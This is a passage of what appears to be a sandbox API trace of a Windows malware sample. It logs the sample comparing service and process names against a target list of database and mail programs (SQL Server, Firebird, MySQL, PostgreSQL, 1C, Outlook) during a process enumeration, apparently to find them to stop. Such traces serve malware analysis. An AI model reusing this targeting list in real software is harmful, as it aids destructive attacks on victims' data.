lpString2="lmhosts") returned -1 [0195.118] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0195.118] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0195.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0195.118] lstrlenW (lpString="MMCSS") returned 5 [0195.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0195.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0195.118] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0195.118] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0195.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0195.118] lstrlenW (lpString="MpsSvc") returned 6 [0195.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0195.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0195.118] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0195.118] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0195.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0195.118] lstrlenW (lpString="Netman") returned 6 [0195.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0195.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0195.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0195.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0195.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0195.118] lstrlenW (lpString="netprofm") returned 8 [0195.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0195.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0195.118] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0195.119] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0195.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0195.119] lstrlenW (lpString="NlaSvc") returned 6 [0195.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0195.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0195.119] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0195.119] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0195.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0195.119] lstrlenW (lpString="nsi") returned 3 [0195.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.119] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.119] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.119] lstrlenW (lpString="PcaSvc") returned 6 [0195.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0195.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0195.119] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0195.119] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0195.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0195.119] lstrlenW (lpString="PlugPlay") returned 8 [0195.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.119] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.119] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.120] lstrlenW (lpString="Power") returned 5 [0195.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.120] lstrlenW (lpString="ProfSvc") returned 7 [0195.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.120] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.120] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.120] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.120] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.120] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.120] lstrlenW (lpString="RpcSs") returned 5 [0195.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.120] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.120] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.120] lstrlenW (lpString="SamSs") returned 5 [0195.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.121] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.121] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.121] lstrlenW (lpString="Schedule") returned 8 [0195.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0195.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.121] lstrlenW (lpString="SENS") returned 4 [0195.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.121] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.121] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.121] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.121] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.121] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.121] lstrlenW (lpString="Spooler") returned 7 [0195.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.122] lstrlenW (lpString="sppsvc") returned 6 [0195.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0195.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0195.122] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0195.122] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0195.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0195.122] lstrlenW (lpString="SysMain") returned 7 [0195.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0195.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0195.122] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0195.122] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0195.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0195.122] lstrlenW (lpString="Themes") returned 6 [0195.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0195.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0195.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0195.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0195.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0195.122] lstrlenW (lpString="TrkWks") returned 6 [0195.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0195.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0195.122] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0195.122] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0195.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0195.123] lstrlenW (lpString="UxSms") returned 5 [0195.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0195.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0195.123] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0195.123] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0195.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0195.123] lstrlenW (lpString="WdiServiceHost") returned 14 [0195.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0195.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0195.123] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0195.123] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0195.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0195.123] lstrlenW (lpString="WdiSystemHost") returned 13 [0195.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0195.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0195.123] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0195.123] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0195.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0195.123] lstrlenW (lpString="WinDefend") returned 9 [0195.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0195.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0195.123] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0195.123] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0195.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0195.124] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0195.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0195.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0195.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0195.124] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0195.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0195.124] lstrlenW (lpString="Winmgmt") returned 7 [0195.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0195.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0195.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0195.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0195.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0195.124] lstrlenW (lpString="wscsvc") returned 6 [0195.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0195.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0195.124] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0195.124] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0195.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0195.124] lstrlenW (lpString="wuauserv") returned 8 [0195.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0195.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0195.124] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0195.124] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0195.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0195.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e5bd0 | out: hHeap=0x4f0000) returned 1 [0195.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160 [0195.126] Process32FirstW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.127] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.128] lstrlenW (lpString="System") returned 6 [0195.128] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0195.128] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0195.128] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0195.128] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0195.128] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0195.128] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0195.128] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0195.128] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.129] lstrlenW (lpString="smss.exe") returned 8 [0195.129] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0195.129] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0195.129] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0195.129] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0195.129] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0195.130] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0195.130] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0195.130] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.131] lstrlenW (lpString="csrss.exe") returned 9 [0195.131] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.132] lstrlenW (lpString="wininit.exe") returned 11 [0195.132] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.133] lstrlenW (lpString="csrss.exe") returned 9 [0195.133] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.134] lstrlenW (lpString="winlogon.exe") returned 12 [0195.134] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.135] lstrlenW (lpString="services.exe") returned 12 [0195.135] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0195.136] lstrlenW (lpString="lsass.exe") returned 9 [0195.136] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0195.137] lstrlenW (lpString="lsm.exe") returned 7 [0195.137] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.138] lstrlenW (lpString="svchost.exe") returned 11 [0195.138] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.138] lstrlenW (lpString="svchost.exe") returned 11 [0195.138] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.139] lstrlenW (lpString="svchost.exe") returned 11 [0195.139] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.140] lstrlenW (lpString="svchost.exe") returned 11 [0195.140] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.141] lstrlenW (lpString="svchost.exe") returned 11 [0195.141] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0195.142] lstrlenW (lpString="audiodg.exe") returned 11 [0195.142] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.143] lstrlenW (lpString="svchost.exe") returned 11 [0195.143] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.144] lstrlenW (lpString="svchost.exe") returned 11 [0195.144] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0195.145] lstrlenW (lpString="dwm.exe") returned 7 [0195.145] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0195.217] lstrlenW (lpString="explorer.exe") returned 12 [0195.217] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0195.218] lstrlenW (lpString="spoolsv.exe") returned 11 [0195.218] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0195.219] lstrlenW (lpString="taskhost.exe") returned 12 [0195.219] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.220] lstrlenW (lpString="svchost.exe") returned 11 [0195.220] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0195.221] lstrlenW (lpString="taskeng.exe") returned 11 [0195.221] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0195.222] lstrlenW (lpString="taskhost.exe") returned 12 [0195.222] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0195.224] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0195.224] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0195.225] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0195.225] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0195.226] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0195.226] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0195.227] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0195.227] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0195.228] lstrlenW (lpString="always_winds.exe") returned 16 [0195.228] Process32NextW (in: hSnapshot=0x160, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0195.229] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0195.229] 